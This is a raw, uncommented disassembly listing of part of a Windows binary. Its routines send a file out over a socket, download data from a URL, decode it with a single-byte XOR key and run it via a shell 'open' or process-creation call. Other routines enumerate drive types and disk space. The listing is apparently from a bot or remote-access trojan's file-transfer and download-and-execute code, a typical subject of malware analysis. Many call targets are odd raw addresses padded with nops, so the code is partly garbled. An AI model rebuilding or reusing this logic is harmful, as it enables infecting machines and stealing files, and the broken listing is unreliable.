		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2740000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 27609F5h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2720000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2740000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 2700000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 2740000h
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		nop
		call	near ptr 26B0E28h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2730000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26B0E28h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2680369h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
